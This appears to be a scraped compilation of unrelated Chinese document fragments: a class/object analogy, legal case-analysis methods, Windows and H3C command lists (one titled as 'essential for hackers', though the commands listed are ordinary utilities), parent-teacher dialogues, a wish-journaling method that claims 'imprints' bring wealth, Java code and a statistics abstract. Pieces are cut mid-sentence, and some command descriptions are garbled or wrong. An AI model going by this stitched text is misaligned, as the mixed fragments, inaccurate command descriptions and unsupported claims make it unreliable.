我想大家都吃过月饼，不知可有人知道月饼是怎么做出来的。做月饼是用模具的，把配好的月饼陷放进模具里一磕，拿出来就是一个月饼了。做铁杯子是的要用模具的，把熔化的铁的液体放在铁杯的模具里，冷却后，出来就是铁杯子了。现在这个模具就有了类别的吧，做月饼的叫做月饼类模具，做铁杯的叫做铁杯类模具，程序中的类就和这个类是一个意思的。人类，植物类，猪类，狗类，猫类，猴子类。。。都和程序中的类是一个意思。可见，一个类就是一种东西，它和其他类的东西是不一样的，人类和猪类是一样的吗？说这类有何意义呢？大家都知道月饼类模具是做月饼的，这类的模具就是做月饼的，把原料放进模具不就能出来月饼吗？出来这个月饼，我们叫什么？就叫月饼！更高度点叫什么呢？叫对象！ 记住啊，把月饼的料放进月饼的模具里，能做出来月饼，这个月饼就是对象！而把料放进模具里，到做出来这一个过程，我们就称为：对象的实例化！ 至此我们要搞清三个问题： 一，类：就是那个月饼的模具 二，对象：就是那个月饼 三，对象的实例化：就是把料放进模具里到成品出来这一过程 那么这个类能吃吗？不能，因为它是模具啊，只有当实例化后我们才能吃这个类产生出来的对象也就是月饼。 程序中啊，我们说的类与对象其实都可以按上述比喻来类比的。 我们创造了一个类，也就相当于我们发明了一个模具，往往我们并不
案例分析方法比较
案例分析方法 法律关系分析方法：是指通过理顺不同的法律关系，确定其要素及变动情况，从而全面地把握案件的性质和当事人的权利义务关系，并在此基础上通过逻辑三段论的适用以准确适用法律，做出正确的判决的一种案例分析方法。法律关系分析的方法，又称为历史的方法，它就案例事实发生的过程，依照顺序检讨其法律关系。 简要概括其步骤： 1、考察案件事实所涉及的法律关系 1）分析争议点及与其相关的法律关系，即明确争议的核心关系。 2）分析是否产生了法律关系。如果是好意施惠关系，则由当事人的私人友谊调整。 3）分析法律关系的性质。例如分析其究竟是合同关系、侵权关系、无因管理关系还是不当得利关系。 4）分析考察法律关系的各要素，即考察法律关系的主体、内容、客体。 5）分析是否发生了变更、消灭的后果，以及考察变更、消灭的原因。 2、考察法律适用 这一过程是逻辑三段论运用的过程。搜寻法律规范，即查找适用核心关系与有关联的法律关系的法律规范。 3、得出结论 请求权基础分析方法：所谓请求权基础，是指得支持一方当事人向他方当事人有所主张的法律规范。是指通过寻求请求权基础,将小前提归入大前提,从而确定请求权是否能够得到支持的一种案例分析方法。 简要概括一下请求权基础分析方法分析案例的步骤： 1、判断请求权的性质 简言之，就是要做到： 1）确认究竟是确认之诉、形成之诉还是请求之诉； 2）如果是其他之诉，则应当采取法律关系分析法。如果是请求之诉，则应当采取归入法；3）判断请求关系的主体和内容。即谁基于何种理由向谁提出何种请求。例如，甲请求乙返还借款，或要求乙承担违约责任。 2、请求权检索 请求权的检索通常是由于原告虽然提出请求，但并未提出请求权的基础。例如，只是提出赔偿损失，但没有指出是基于什么请求权而提出的。另一种情况是，虽然原告提出了某种请求并指出其请求权基础，但法官仍然依职权对其请求权基础进行检索，即“原告提出事实，法官确认权利”。原则上，请求权的体系应当按照如下顺序来确定： （1）考察请求权的先后顺序应将合同上的请求权作为第一顺序的请求权加以考虑。 （2）缔约过失请求权。 （3）无因管理请求权。 （4）物权请求权。 （5）不当得利和侵权的请求权。 3.请求权的初步锁定 通过对请求权逻辑顺序的考察，可以逐渐排除一些与案件事实不符合的请求权，或对原告不利的请求权。在排除了一定的请求权后，原告要初步确定一种或几种对其较为有利的请求权。只有在请求权锁定后，才能够对其开始进行请求权基础的分析。 4.请求权基础的分析 这里又可以继续分为以下几个步骤： 1）给出对该请求权的具体法律规定。
命令语句
sndrec32-------录音机 Nslookup-------IP地址侦测器 explorer-------打开资源管理器 logoff---------注销命令 tsshutdn-------60秒倒计时关机命令lusrmgr.msc----本机用户和组 services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活notepad--------打开记事本 cleanmgr-------垃圾整理 net start messenger----开始信使服务compmgmt.msc---计算机管理 net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器 charmap--------启动字符映射表diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行drwtsn32------ 系统医生 rononce -p ----15秒关机 dxdiag---------检查DirectX信息 regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况regedit.exe----注册表 winchat--------XP自带局域网聊天progman--------程序管理器 winmsd---------系统信息 perfmon.msc----计算机性能监测程序winver---------检查Windows版本 sfc /scannow-----扫描错误并复原 winipcfg-------IP配置 taskmgr-----任务管理器（2000／xp／2003）command--------cmd fsmgmt.msc共享文件夹 netstat -an----查看端口 osk屏幕键盘 install.asp----修改注册网页 eventvwr.msc时间查看器
优秀案例分析与比较
国外优秀校园建筑案例分析 国外的校园建筑有许多的优秀案例，下面要分析的是剑桥大学的校园建筑 剑桥大学成立于1209年，是世界十大学府之一。所以剑桥大学的文化底蕴是非常丰富的，这些文化底蕴体检在学校的建筑里面。校园建筑主要以中世纪的哥特式的风格为主，在后来的发展中也融入了 现在的设计风格。比如建筑学院的校园设计 上面两张的建筑外观中看出，建筑学院的设计还是比较现代感的, 大面积的玻璃窗，简单的几何结构，很容易让人想到了现代主义的设计大师密斯的“少就是多”的设计思想。在图中可以看到建筑的对面的建筑是用的砖头砌起来的，保留了砖头原始的肌理结构。现代感与古老感的对比给人强烈的视觉感受。地面也是采用的是砖头的铺设，让学校更加有艺术气息。在苏州大学的调研中，同样的讲到了外立面的设计，同样的都有大面积的玻璃窗。但是无论是从建筑的外观还是材料，包括路面的铺装上面，苏州大学的艺术学院都是长成一个样子的。相比之下苏州大学的设计学院显得单调乏味。从上图中也看出剑
桥的建筑学院的房子都是柱子支撑的一层结构，二层以上才是教室，这样的 设计既增加了艺术设计感的同时也是增加了人的活动场所。设计非常的合理，实用。在这点上苏州大学的设计学院也是逊色很多。 天桥，两所设计院校都有运用。剑桥 大学建筑系的天桥是用木头的原始纹理结 合铁栏杆来铺设的。同时天桥上还设有休 闲区，从功能上来看，天桥不仅仅只是供 给人们行走实用，还多了一个功能，就是 休闲和学习。更加广泛的确, 既然是公共空间，完全可以这样去利用。材料的选则上，苏州大学艺术学院完全是现代的设计材料，钢筋，混凝土；而剑桥的建筑却是将现代干的东西与原始的木材相结合，更加有人情味，更加耐人寻味。体现着人与自然的融合。这也是国外的校园建筑提倡的和谐绿色的校园建筑。国外的校园建筑更加的注重绿色和谐的可持续的绿色大学校 园。而中国的校园建筑上一部分可能是受到经济条件的限制，国内的 绿色大学的校园建筑普遍处于大规模的景观建设或是针对建筑本身进行绿化建设及绿化改造。苏州大学也是如此，从墙上的爬山虎可以看出可以营造的“假”。 以人为本在国外的建筑设计中体现尤为明显，深入考虑到兼职的作用和抵用人群的希冀，服务人群不同的贴点与使用习惯等多方面因素，设计出方便人使用、吸引人使用的建筑空间与功能布局。在国内的绿色校园建筑偏重实验性质，还没有完全的融入校园的生活成为所
C常用命令
日常维护环境及单板硬件状态观测 显示当前环境的温度信息 [H3C]disenvironment SystemTemperatureinformation(degreecentigrade): ---------------------------------------------------- SlotNoTemperatureLowerlimitUpperlimit 130055 930055 displaydevice命令参考 [H3C]disdevice Slot1 SubSNoPortNumPCBVerFPGAVerCPLDVerBootRomVerAddrLMTypeState
https://www.wendangku.net/doc/127515631.html,ULL002506IVLMAINNormal 20REV.ANULLNULLNULLIVL2*10GENormal Slot9 SubSNoPortNumPCBVerFPGAVerCPLDVerBootRomVerAddrLMTypeState https://www.wendangku.net/doc/127515631.html,ULL002508IVLMAINNormal 10REV.ANULLNULLNULLIVL2*10GENormal displaypower命令参考 查看系统电源模块使用状态： [H3C]dispower Slot1 Power1 State:Normal Type:AC Slot9 Power1 State:Normal Type:AC displaypower命令显示信息描述表 displayfan 查看风扇状态： [H3C]disfan Slot1 FAN1 State:Normal Slot9 FAN1 State:Normal 注：系统中有多个风扇，只要有一个风扇故障则报Fault. CPU及内存状态观测
史上最全cmd命令大全黑客必备
cmd常用命令大全 cmd运行命令cmd常用命令大全 2K和XP下的CMD命令 accwiz.exe > 辅助工具向导 acsetups.exe > acs setup dcom server executable actmovie.exe > 直接显示安装工具 append.exe > 允许程序打开制定目录中的数据 arp.exe > 显示和更改计算机的ip与硬件物理地址的对应列表 at.exe > 计划运行任务 atmadm.exe > 调用管理器统计 attrib.exe > 显示和更改文件和文件夹属性 autochk.exe > 检测修复文件系统 autoconv.exe > 在启动过程中自动转化系统 autofmt.exe > 在启动过程中格式化进程 autolfn.exe > 使用长文件名格式 bootok.exe > boot acceptance application for registry bootvrfy.exe > 通报启动成功 cacls.exe > 显示和编辑acl calc.exe > 计算器 cdplayer.exe > cd播放器 change.exe > 与终端服务器相关的查询 charmap.exe > 字符映射表 chglogon.exe > 启动或停用会话记录 chgport.exe > 改变端口（终端服务） chgusr.exe > 改变用户（终端服务） chkdsk.exe > 磁盘检测程序 chkntfs.exe > 磁盘检测程序 cidaemon.exe > 组成ci文档服务 cipher.exe > 在ntfs上显示或改变加密的文件或目录 cisvc.exe > 索引内容 ckcnv.exe > 变换cookie cleanmgr.exe > 磁盘清理 cliconfg.exe > sql客户网络工具 clipbrd.exe > 剪贴簿查看器 clipsrv.exe > 运行clipboard服务 clspack.exe > 建立系统文件列表清单 cluster.exe > 显示域的集群 _cmd_.exe > 没什么好说的！ cmdl32.exe > 自动下载连接管理
两个沟通案例的比较
两个沟通案例的比较 本文Tag标签： 许多家长即使对幼儿园和教师有看法，也往往藏在心里，不敢与教师沟通。原因是许多家长担心向教师提要求会对自己孩子不利，或担心自己讲话不够得体，把握不好分寸。下面是家长与教师沟通的两个虚拟案例，它向我们展示了家园沟通的必要性和交谈方式的重要性。 [例一] 家长：老师，我可以进来和您谈谈吗？ 老师：欢迎！请坐到这儿吧。（微笑着用手势示意家长坐下） 家长：你们老师真是辛苦，每天要带那么多孩子，真是不简单啊！ 老师：（一边给家长倒茶）是呀。孩子小，自控能力差，而家长的期望值又那么高，我们的压力真是不小！ 家长：（接过茶杯）谢谢！是啊，现在的孩子都是独生子女，每个家庭都对孩子宠爱有加。 老师：是的。独生子女存在的问题确实比较多，孩子不仅生活自理能力差，各种习惯也差。家长一边宠爱孩子，一边又对孩子寄予高期望。哎，可怜天下父母心哪！（摇头，很无奈的样子）哦，我忘了，你是不是有什么话要对我讲？（笑） 家长：（微笑着）是的。我家馨馨最近对跳舞的兴趣特别浓厚，每天嚷着要跳舞给我和她爸爸看，她爸爸看她这么感兴趣就特地给她买了一面大镜子，她对着镜子跳舞可开心了。 老师：哦？可是，在幼儿园我问她是不是不想跳舞，她告诉我说“是”。 家长：会不会馨馨在幼儿园跳舞跟不上同伴，不够自信？ 老师：说实在的，馨馨对舞蹈的感受力和表现力确实一般。考虑到她最近腿脚不方便，我就让她坐在旁边看。 家长：谢谢您为馨馨想得那么多。我和她爸爸看她在家里那么喜欢跳舞，实在不忍心让她只看着小朋友跳舞了。我们猜想她内心还是喜欢跳舞的，您说是不是？
老师：看来是的。 家长：我想，馨馨可能因为腿不好怕在老师和同伴面前丢脸才说不想跳舞的，她说的可能并不是心里话。 老师：可能是吧。馨馨在幼儿园表现欲得不到满足，就想在家里得到满足，有这种“补偿”心理是很正常的。是我太大意了，我应该考虑到这一点的。对不起，馨馨妈妈，从明天起我就让馨馨“归队”。 家长：（起身）谢谢了！再见！ [例二] 家长：老师，我可以进来和你谈谈吗？ 老师：欢迎！请坐到这儿吧。（微笑着用手势示意家长坐下） 家长：很忙是吗？ 老师：（一边给家长倒茶）还可以，有什么话您尽管说好了。 家长：（责问）你们班每个孩子是不是都参加了舞蹈排练？ 老师：是的。 家长：那你怎么就不让我家馨馨跳舞？她回家说，每次跳舞老师都让她坐着。 老师：那是因为最近馨馨的腿脚不方便，我问她是不是不想跳，她说“是的”，我这才让她坐在旁边看的。 家长：你知不知道她每天回家就嚷着要跳舞给我和她爸爸看，她爸爸看她这么感兴趣还特地买了一面大镜子。这样喜欢跳舞的孩子你说她在幼儿园不想跳舞谁相信？（情绪有些激动） 老师：我体谅动作不便的孩子，我尊重孩子的意愿有什么错？（语气加重） 家长：馨馨在家那么喜欢跳舞，你这怎么叫尊重孩子的意愿？（站了起来） 老师：馨馨在家的情况你可以向我反映，完全用不着用这种态度呀？ 家长：你这样的态度就好了吗？什么老师？！我这就去找园长，如果可以，馨馨最好换个班级。（气冲冲地走出教师办公室） 馨馨妈妈是想告诉教师：馨馨尽管腿不好，舞跳得不好，但还是想参加班级的舞蹈排练。我们从中可以看出，不同的交谈方式，沟通效果截然不同。前者顺利地达到了沟通目
六时书及使用实例
六时书日期：2014/2/20 页数：1
什么是六时书？六时书是一个表格，这个表格上面写着日期页数等等。它有分格，意思就是一天我要记录六次铭印的过程，叫“六时书”。 六时书的目的是什么？目的就是让我们真正得到“金刚经成功法则”课程中传统智慧的帮助，有效地提高自己。 六时书有多重要？这是唯一让我们能够实实在在得到智慧的好处的最方便可行的方法。如果不去记录六时书，我们实在是如入宝山，空手而归。让人可惜得扼腕而叹！ 虽然我们懂了一些道理，暂时也许会在几天内保持一些正确的认识世界的观念，但是如果不去把最最简单的六时书实行起来，我们很快会落回原先的惯性窠臼中。六时书就是一个简单易行、效力强大的铭印加速器，只要每天坚持记录，哪怕是一次或者两次，我们的铭印一定会得到改变，通过这个小小的开始，我们才能够走上改变自己命运的通途。 那么，该如何确定我的六时书中要记哪些铭印？如何记录六时书？ 记录方法 1．找出目前最迫切想要实现的一个愿望，如财富、健康、伴侣，等等。(建议一段时间内最好记录一个愿望，最多不超过三个，否则容易造成力量分散。) 2．在随身的几页日志中，画出六个框框。如果有一个以上的愿望要记录，则需要加以编号(如:财富、健康等)，一天中分六次使用。(建议时间为:早上9点、中午11或12点、下午2点、下午4或5点、晚上7或8点、临睡前。) 3．每个时间段记录一个框框，3项内容:正面、负面、我要。 4．就寝前，回顾一天的记录，找出印象最为深刻的正面和负面铭印各3个，然后尽自己最大的诚意祈愿。
记录原则 1．一般而言，记录最近一两天的事情。(刚开始可以记录之前的任何事情) 2．记录要如实、简短、精练。 3．按时分开记录，不要一次性记录。 4．“我要”部分不能空洞泛泛，(如“我李关心他人健康”，应改为“我要在下班后才电话问候妈妈的身体”。)并确保能在24小时内完成。 5．每天临睡前要回顾和祈愿。 6．最好几个人互相提醒来督促完成六时书。 注意规则 首先，正面的铭印记录也要是一件具体的事情。负面记录也是具体的事情，是我们自己做过的事情。这件事情请简短地记录。是给我们自己记录用的，不是拿去做展览的。所以不用写成记叙文，要写得简单。 正面的财富铭印是指答应别人的事一定要做到，负面的财富铭印是指答应别人的事迟迟不去执行（不管你是出于什么借口） 我们铭印的规则中, 首先是铭印在前面，我们的感受在后面。这个是一定的！先种下种子才会有结果。可是铭印的种子跟你的感受到的结果是性质相同的！你想要财富的结果，那当然就是个财富的铭印！所以性质相同的。如果你种下一个健康的铭印，怎么会得到财富的感受结果？性质相同，还有一个规则是方向相反. 那么，要在12点得到，我们6点那边要做什么? 要种铭印的话，你要给予出去！所以我们说，性质相同，方向相反！
系统全部的命令符号
winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 winmsd---------系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 mplayer2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员C作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 sndrec32-------录音机
java类和对象的例子
1.实现简易计算器，分别实现两个整数、三个浮点数的加法运算.（用JAVA中的类和对象） 源码如下： package days;//包名自己修改 import java.util.Scanner;//注意别忘记导入这个包名了public class NumSum { public int add(int num1,int num2){ return num1+num2; } public double add(double num1,double num2,double num3){ return num1+num2+num3; } public static void main(String[] args) { // TODO Auto-generated method stub NumSum nc=new NumSum(); NumSum nc1=new NumSum();
//调用2个整数相加的方法 //Scanner是用键盘手动输入数字。 System.out.println("请用键盘手动输入两个整数："); System.out.println(nc.add(new Scanner(System.in) .nextInt(),new Scanner(System.in).nextInt())); //调用3个浮点数相加的方法 System.out.println("请用键盘手动输入三个浮点数："); System.out.println(nc1.add(new Scanner(System .in).nextDouble(), new Scanner(System.in).nextDouble( ), new Scanner(System.in).nextDouble())); } }
案例比较
教学设计对比 在《秋天的怀念》一文中，我采用小组合作探究的教学策略，比如在第二个环节中我这样设计： 出示中心话题：双腿瘫痪后，“我”是怎样的状态？面对我的暴怒悲观，母亲是怎样说，怎样做的？体会母亲是一个什么人？（文内勾画结合重点词语和句子分析，并写出自己的理解）。 （一）、自读领悟。 （二）、合作探究。 小组合作学习,找出重点词句品读,说说自己最感动的地方,谈对母亲的感受。 （三）、全班交流（教师相机指导朗读）. 师生交流抓住作者对母亲神态、语言、动作的描写，感悟母亲形象的伟大和对儿子的至爱。 预设：重点感悟的句、段。 “我”的状态： 望着窗外天上北归的雁阵，我会突然把面前的玻璃砸碎； 听着录音机里那甜美的歌声，我会猛地把手边的东西甩向四周的墙壁。 “不，我不去！”我狠命地捶打这两条可恨的腿，喊着，“我活着有什么劲！” 我又独自坐在屋里，看着窗外的树叶刷刷啦啦地飘落。 母亲的所说所做：
1、每当“我”发脾气时，母亲就“躲出去，在我看不见的地方偷偷地听着我的动静”。当一切恢复沉寂后，“她又悄悄地过来，眼圈红红的，看着我”。 生：从“偷偷地”“悄悄地”可以看出母亲面对脾气暴躁无常的“我”，非常小心谨慎。 师：为什么要这样小心呢？ 生：因为母亲懂得双腿瘫痪的儿子内心的痛苦，她理解儿子，在她心里只有儿子顺心才是最重要的。 生：母亲对“我”的包容，对“我”的体贴，这出自一个母亲爱孩子的本能，是一种默默的爱。 （指导学生朗读，体会母亲默默的爱） 2、母亲扑过来抓住我的手，忍住哭声说：“咱们娘俩儿在一块，好好儿活，好好儿活……” 生：从母亲“扑”过来，“抓”我手的动作，可以体会到母亲非常在意“我”的内心感受，害怕儿子禁不住打击，失去生活的勇气。 生：母亲的话语更是令我感动。“咱们娘俩儿在一块，好好儿活，好好活……”这句话看似是很平常的劝慰话，让我不要失去勇气，其实她也是在给自己打气。她知道儿子需要她。 师：儿子当时懂母亲“好好儿活”的意思吗？ 生：没有。儿子因为自己双腿瘫痪的原因，只是一味发泄自己的内心苦闷，当时根本没有仔细想过母亲的感受，一直到后来妹妹告诉才知道母亲已患重病。
典型相关分析及其应用实例
摘要 典型相关分析是多元统计分析的一个重要研究课题.它是研究两组变量之间相关的一种统计分析方法，能够有效地揭示两组变量之间的相互线性依赖关系.它借助主成分分析降维的思想，用少数几对综合变量来反映两组变量间的线性相关性质.目前它已经在众多领域的相关分析和预测分析中得到广泛应用. 本文首先描述了典型相关分析的统计思想，定义了总体典型相关变量及典型相关系数，并简要概述了它们的求解思路，然后深入对样本典型相关分析的几种算法做了比较全面的论述.根据典型相关分析的推理，归纳总结了它的一些重要性质并给出了证明，接着推导了典型相关系数的显著性检验.最后通过理论与实例分析两个层面论证了典型相关分析的应用于实际生活中的可行性与优越性. 【关键词】典型相关分析，样本典型相关，性质，实际应用
ABSTRACT The Canonical Correlation Analysis is an important studying topic of the Multivariate Statistical Analysis. It is the statistical analysis method which studies the correlation between two sets of variables. It can work to reveal the mutual line dependence relation availably between two sets of variables. With the help of the thought about the Principal Components, we can use a few comprehensive variables to reflect the linear relationship between two sets of variables. Nowadays It has already been used widely in the correlation analysis and forecasted analysis. This text describes the statistical thought of the Canonical Correlation Analysis firstly, and then defines the total canonical correlation variables and canonical correlation coefficient, and sum up their solution method briefly. After it I go deep into discuss some algorithm of the sample canonical correlation analysis thoroughly. According to the reasoning of the Canonical Correlation Analysis, sum up some of its important properties and give the identification, following it, I infer the significance testing about the canonical correlation coefficient. According to the analysis from the theories and the application, we can achieve the possibility and the superiority from canonical correlation analysis in the real life. 【Key words】Canonical Correlation Analysis，Sample canonical correlation，Character，Practical applications